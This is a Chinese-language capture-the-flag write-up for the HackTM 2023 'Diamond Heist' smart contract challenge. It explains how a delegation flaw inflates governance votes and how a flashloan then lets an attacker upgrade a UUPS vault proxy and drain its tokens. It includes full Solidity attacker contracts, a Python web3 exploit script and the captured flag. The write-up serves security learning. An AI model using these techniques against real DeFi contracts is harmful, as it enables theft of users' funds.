跳转至
2023 | HackTM CTF | smart contract

Diamond Heist

题目

Salty Pretzel Swap DAO has recently come out with their new flashloan vaults. They have deposited all of their 100 Diamonds in one of their vaults.

Your mission, should you choose to accept it, is to break the vault and steal all of the diamonds. This would be one of the greatest heists of all time.

This text will self-destruct in ten seconds.

Good luck.

nc 34.141.16.87 30200

diamond_heist_contracts.zip

解题思路

  • 目标是将 100 Diamonds 转移到 Setup 实例

    // contract Setup
    function isSolved() external view returns (bool) {
        return diamond.balanceOf(address(this)) == DIAMONDS;
    }
    
  • Setup 部署后,Vault 的代理合约持有 100 Diamonds,显然需要通过更新合约来进行 Diamond 的转移操作。不过,Vault 采用 UUPS 代理模式,虽然没有初始化其逻辑合约,但由于存在 onlyProxy 修饰符,无法通过逻辑合约升级

    // contract Setup
    constructor () {
        vaultFactory = new VaultFactory();
        vault = vaultFactory.createVault(keccak256("The tea in Nepal is very hot."));
        diamond = new Diamond(DIAMONDS); // uint constant public DIAMONDS = 100;
        saltyPretzel = new SaltyPretzel();
        vault.initialize(address(diamond), address(saltyPretzel));
        diamond.transfer(address(vault), DIAMONDS);
    }
    
  • Vault 代理合约的调用者为 owner 或代理合约自身且代理合约持有 Diamond 的数量为 \(0\) 时,允许更新合约逻辑

    // contract Vault
    function _authorizeUpgrade(address) internal override view {
        require(msg.sender == owner() || msg.sender == address(this));
        require(IERC20(diamond).balanceOf(address(this)) == 0);
    }
    
  • Vault 代理合约的所有者为 Setup,而 Setup 中没有 transferOwnership 相关的逻辑,无法以 owner 身份更新。注意到当调用者的票数不小于 AUTHORITY_THRESHOLD 时,可以以 Vault 代理合约的身份调用 Vault 中的任意函数

    // contract Vault
    uint constant public AUTHORITY_THRESHOLD = 10_000 ether;
    function governanceCall(bytes calldata data) external {
        require(msg.sender == owner() || saltyPretzel.getCurrentVotes(msg.sender) >= AUTHORITY_THRESHOLD);
        (bool success,) = address(this).call(data);
        require(success);
    }
    
  • 至于使 IERC20(diamond).balanceOf(address(this)) == 0 可以通过 flashloan 解决

    // contract Vault
    function flashloan(address token, uint amount, address receiver) external {
        uint balanceBefore = IERC20(token).balanceOf(address(this)); // 只能借用代理合约持有的 token
        IERC20(token).transfer(receiver, amount);
        IERC3156FlashBorrower(receiver).onFlashLoan(msg.sender, token, amount, 0, "");
        uint balanceAfter = IERC20(token).balanceOf(address(this));
        require(balanceBefore == balanceAfter);
    }
    
  • 那么,接下来考虑如何获取足够的票数。初始可通过 Setup.claim() 获得 SALTY_PRETZELS(100 ether)mint 将首先增加 _to 持有的代币数量,随后增加 _delegates[_to] 的票数。由于 srcRepaddress(0),不对其执行减少票数的操作,因而总票数是增加的

    // contract SaltyPretzel
    function mint(address _to, uint256 _amount) public onlyOwner {
        _mint(_to, _amount);
        _moveDelegates(address(0), _delegates[_to], _amount);
    }
    
    function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal {
        if (srcRep != dstRep && amount > 0) {
            if (srcRep != address(0)) {
                uint32 srcRepNum = numCheckpoints[srcRep];
                uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
                uint256 srcRepNew = srcRepOld - amount;
                _writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
            }
    
            if (dstRep != address(0)) {
                uint32 dstRepNum = numCheckpoints[dstRep];
                uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
                uint256 dstRepNew = dstRepOld + amount;
                _writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
            }
        }
    }
    
  • 代币 SP 的数量自 Setup.claim() 后不再变化,_moveDelegatesaddress(0) 到任意不为 0 的地址似乎是增加总票数的唯一方法。当 delegator 初次声明 delegatee 时,currentDelegateaddress(0),将为 delegatee 增加 balanceOf(delegator) 票。那么,可以将持有的代币转移给新的 delegator 再由其调用 delegate() 来增加 delegatee 的票数

    // contract SaltyPretzel
    function delegate(address delegatee) external {
        return _delegate(msg.sender, delegatee);
    }
    
    function _delegate(address delegator, address delegatee) internal
    {
        address currentDelegate = _delegates[delegator];
        uint256 delegatorBalance = balanceOf(delegator);
        _delegates[delegator] = delegatee;
    
        emit DelegateChanged(delegator, currentDelegate, delegatee);
    
        _moveDelegates(currentDelegate, delegatee, delegatorBalance);
    }
    

Exploit

contract HackerVault is Vault { // new implementation should also be UUPS
    function exploit(address token, address setup) external {
        IERC20(token).transfer(address(setup), 100);
    }
}

contract Helper {
    function help(address instance) external {
        SaltyPretzel(instance).delegate(msg.sender);
        SaltyPretzel(instance).transfer(msg.sender, 100 ether);
    }
}

contract Hack is IERC3156FlashBorrower {
    Setup setup;
    SaltyPretzel saltyPretzel;
    Vault vault;

    constructor(address instance) {
        setup = Setup(instance);
        saltyPretzel = SaltyPretzel(setup.saltyPretzel());
        vault = Vault(setup.vault());
    }

    function exploit() external {
        saltyPretzel.delegate(address(this));
        setup.claim();
        for (uint i = 1; i < 100; i ++) {
            Helper helper = new Helper();
            saltyPretzel.transfer(address(helper), 100 ether);
            helper.help(address(saltyPretzel));
        }
        vault.flashloan(address(setup.diamond()), 100, address(this));
    }

    function onFlashLoan(address, address token, uint256 amount, uint256, bytes calldata) external override returns (bytes32) {
        HackerVault hackerVault = new HackerVault();
        vault.governanceCall(abi.encodeWithSignature(
            "upgradeTo(address)",
            address(hackerVault)
        ));
        IERC20(token).transfer(address(vault), amount);
        return keccak256("ERC3156FlashBorrower.onFlashLoan");
    }
}
from web3 import Web3
import pwn

hack_abi = open('hack_abi.json').read()
hack_bytecode = open('hack_bytecode.txt', 'r').read()

hackervault_abi = open('hackervault_abi.json').read()
hackervault_bytecode = open('hackervault_bytecode.txt').read()

setup_abi = open('setup_abi.json').read()

def transact(func):
    tx = account.sign_transaction(eval(func).buildTransaction({
        'chainId': w3.eth.chain_id,
        'nonce': w3.eth.get_transaction_count(account.address),
        'gas': eval(func).estimate_gas(),
        'gasPrice': w3.eth.gas_price,
    })).rawTransaction
    tx_hash = w3.eth.send_raw_transaction(tx).hex()
    return w3.eth.wait_for_transaction_receipt(tx_hash)

conn = pwn.remote('34.141.16.87', 30200)

conn.sendlineafter(b'action?', b'1')
ticket = conn.recvline_contains(b'ticket').decode().split(' ')[-1].strip()
w3 = Web3(Web3.HTTPProvider(conn.recvline_contains(b'rpc').decode().split(' ')[-1]))
account = w3.eth.account.from_key(conn.recvline_contains(b'key').decode().split(' ')[-1])

setup_addr = conn.recvline_contains(b'contract').decode().split(' ')[-1].strip()
setup_contract = w3.eth.contract(address=setup_addr, abi=setup_abi)

hack_contract = w3.eth.contract(abi=hack_abi, bytecode=hack_bytecode)
hack_addr = transact('hack_contract.constructor(setup_addr)').contractAddress
hack_contract = w3.eth.contract(address=hack_addr, abi=hack_abi)
print(hack_addr)

transact('hack_contract.functions.exploit()')

vault_addr = setup_contract.functions.vault().call()
diamond_addr = setup_contract.functions.diamond().call()
hackervault_contract = w3.eth.contract(address=vault_addr, abi=hackervault_abi)
transact('hackervault_contract.functions.exploit(diamond_addr, setup_addr)')

if setup_contract.functions.isSolved().call():
    conn = pwn.remote('34.141.16.87', 30200)
    conn.sendlineafter(b'action?', b'3')
    conn.sendlineafter(b'ticket please:', ticket)
    conn.interactive()

Flag

HackTM{m1ss10n_n0t_th4t_1mmut4ble_58fb67c04fd7fedc}

参考资料


最后更新: 2023年2月20日 16:19:38
Contributors: YanhuiJessica

评论